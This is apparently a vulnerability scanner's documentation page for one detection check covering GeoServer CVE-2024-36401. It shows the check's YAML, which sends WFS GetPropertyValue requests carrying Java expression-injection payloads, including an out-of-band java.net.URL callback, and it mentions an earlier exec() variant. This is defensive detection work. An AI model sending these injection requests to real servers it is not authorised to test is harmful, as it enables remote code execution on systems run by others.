GeoServer — 1 vulnerability check

noctis ships 1 vulnerability check for GeoServer, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

GeoServer OGC Property Name Expression Injection RCE

CVECVE-2024-36401
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionset_var, http_request, script, match, wait_oob · highest QoD 97
Feedtests/vulnerabilities/geoserver/CVE-2024-36401.yaml

Reads a feature type name from the WFS capabilities, then sends a WFS 2.0 GetPropertyValue request whose valueReference is a Java constructor call of a randomly chosen class (for example java.util.Random.new()). Reports the vulnerability when GeoServer's exception report carries the Java runtime's "<that class> cannot be cast to … AttributeDescriptor" message, which only appears when the expression was executed as Java code; fixed releases answer "No such attribute". When out-of-band detection is enabled, a second expression makes the server open the callback URL with java.net.URL and the received callback confirms code execution.

How noctis detects it

  1. HTTP(S) request GET /geoserver/ows?service=WFS&version=2.0.0&request=GetCapabilities
  2. Parses / computes the next value with a Rhai script
  3. HTTP(S) request GET /geoserver/ows?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames={{x.typen…
  4. Parses / computes the next value with a Rhai script
  5. Checks proof for ^true$ → finding QoD 97: GeoServer property name expression injection RCE (CVE-2024-36401)
  6. HTTP(S) request GET /geoserver/ows?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames={{x.typen…
  7. Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: GeoServer property name expression injection RCE (CVE-2024-36401)
Feed source — tests/vulnerabilities/geoserver/CVE-2024-36401.yaml
# GeoServer OGC property name expression injection RCE (CVE-2024-36401)
#
# GeoServer < 2.23.6 / 2.24.4 / 2.25.2 hands the valueReference of a WFS 2.0
# GetPropertyValue request to GeoTools, which evaluates it as a commons-jxpath
# expression with Java extension functions enabled: any static method or
# constructor can be called, unauthenticated (CISA KEV).
#
# Sink (GetPropertyValue.run): the expression is evaluated against the feature
# TYPE and the result is cast to AttributeDescriptor. A Java object built by the
# expression therefore fails that cast, and the OWS exception report quotes the
# JVM's message "class <our class> cannot be cast to class
# org.opengis.feature.type.AttributeDescriptor" (org.geotools.api… on GeoTools 30+,
# without "class " on Java 8). Exceptions raised inside the expression are
# swallowed by GeoTools (AttributeExpressionImpl), so the cast message is the
# in-band channel the vulnerability gives.
# Fixed releases (GeoTools JXPathUtils safe context) resolve no function at all:
# the expression evaluates to null and GeoServer answers "No such attribute".
#
# Detection:
#   1. A feature type name is read from the WFS capabilities (deployments without
#      the demo layers have no sf:archsites; the request needs an existing type),
#      falling back to sf:archsites.
#   2. In-band (QoD 97): valueReference constructs a no-argument Java object of a
#      class picked at random per run (java.util.Random.new() …). The finding needs
#      the JVM's ClassCastException text naming that class — the request only
#      carries the constructor call, never "cannot be cast to", so an echo page,
#      honeypot or WAF page quoting the request cannot match (#2353). No command
#      runs and nothing is written.
#   3. OOB (QoD 97, oob_enabled only): valueReference opens {{oob_url}} with
#      java.net.URL.openStream() from the JVM — no shell or curl needed.
# Verified in-process against the real GeoServer 2.23.2 (vulnerable) and 2.23.6
# (fixed) WEB-INF/lib jars (cast message vs null; callback only on 2.23.2).
#
# Version 1.0.0 ran `exec(...,'echo NOCTIS_GEOSERVER_RCE')` and matched that same
# string, which only a mock or an echo server returns (the command output never
# reaches the response on a real GeoServer).
# References: https://github.com/geoserver/geoserver/security/advisories/GHSA-6jj6-gm7p-fcvv
#             https://github.com/geotools/geotools/security/advisories/GHSA-w3pj-wh35-fq8w
uid: d8e97aca-ee1f-46a1-aca3-f9f83b97dc1d
name: "GeoServer OGC Property Name Expression Injection RCE"
description: "Reads a feature type name from the WFS capabilities, then sends a WFS 2.0 GetPropertyValue request whose valueReference is a Java constructor call of a randomly chosen class (for example java.util.Random.new()). Reports the vulnerability when GeoServer's exception report carries the Java runtime's \"<that class> cannot be cast to … AttributeDescriptor\" message, which only appears when the expression was executed as Java code; fixed releases answer \"No such attribute\". When out-of-band detection is enabled, a second expression makes the server open the callback URL with java.net.URL and the received callback confirms code execution."
cves: [CVE-2024-36401]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.30
tags:
  - rce
  - expression-injection
  - unauthenticated
  - intrusive
  - kev
  - geoserver
services:
  - http
  - https
author: noctis
version: "1.1.0"

steps:
  - id: init-caps
    action: set_var
    var_name: caps
    var_value: ""

  - id: capabilities
    action: http_request
    method: GET
    path: "/geoserver/ows?service=WFS&version=2.0.0&request=GetCapabilities"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    store_as: caps

  # Feature type name (first FeatureType of the capabilities) and the class to build.
  - id: pick
    action: script
    store_as: x
    code: |
      let tn = "sf:archsites";
      if type_of(caps) == "map" && type_of(caps.body) == "string" {
        let m = eregmatch("<FeatureType[^>]*>[ \\t\\r\\n]*<(?:wfs:)?Name>([A-Za-z0-9_.:-]+)</", caps.body);
        if type_of(m) == "array" && m.len() > 1 { tn = m[1]; }
      }
      let classes = ["java.util.Random", "java.util.BitSet", "java.util.Date",
                     "java.lang.StringBuilder", "java.util.concurrent.atomic.AtomicLong"];
      let cls = classes[rand_int(0, 4)];
      #{ typename: tn, cls: cls }

  - id: init-probe
    action: set_var
    var_name: probe
    var_value: ""

  - id: inject
    action: http_request
    method: GET
    path: "/geoserver/ows?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames={{x.typename}}&count=1&valueReference={{x.cls}}.new()"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 20
    store_as: probe

  # The JVM's cast message must name the class this run constructed.
  - id: verdict
    action: script
    store_as: proof
    code: |
      let ok = false;
      if type_of(probe) == "map" && type_of(probe.body) == "string" {
        let b = probe.body;
        ok = b.contains(x.cls + " cannot be cast to ")
          && (b.contains("org.opengis.feature.type.AttributeDescriptor")
              || b.contains("org.geotools.api.feature.type.AttributeDescriptor"));
      }
      ok

  - id: check-rce
    action: match
    source: proof
    pattern: "^true$"
    condition: "proof == true"
    on_match:
      finding:
        title: "GeoServer property name expression injection RCE (CVE-2024-36401)"
        description: "The valueReference of a WFS GetPropertyValue request was executed as a Java expression: GeoServer constructed an object of the class chosen by the scanner and reported the Java runtime's cast error for it."
        remediation: "Upgrade GeoServer to 2.23.6, 2.24.4, 2.25.2 or later. As a temporary workaround, remove gt-complex-x.y.jar from WEB-INF/lib (this disables the vulnerable code path)."
        confidence_delta: 0.65   # 0.30 + 0.65 = 0.95
        qod: 97
        evidence: "GetPropertyValue on {{x.typename}} with valueReference={{x.cls}}.new() returned the Java cast error for {{x.cls}}: {{probe.body}}"
      stop: true

  - id: oob-inject
    action: http_request
    method: GET
    path: "/geoserver/ows?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames={{x.typename}}&count=1&valueReference=openStream(java.net.URL.new('{{oob_url}}'))"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 20
    store_as: oob_inject_resp
    condition: "oob_enabled"

  - id: wait-callback
    action: wait_oob
    oob_timeout_secs: 20
    store_as: oob_result
    condition: "oob_enabled"
    on_success:
      finding:
        title: "GeoServer property name expression injection RCE (CVE-2024-36401)"
        description: "The valueReference of a WFS GetPropertyValue request was executed as a Java expression: the server opened the scanner's callback URL with java.net.URL."
        remediation: "Upgrade GeoServer to 2.23.6, 2.24.4, 2.25.2 or later. As a temporary workaround, remove gt-complex-x.y.jar from WEB-INF/lib (this disables the vulnerable code path)."
        confidence_delta: 0.65   # 0.30 + 0.65 = 0.95
        qod: 97
        evidence: "OOB callback received after the java.net.URL expression: {{oob_result.body}}"
      stop: true

View these feeds on GitHub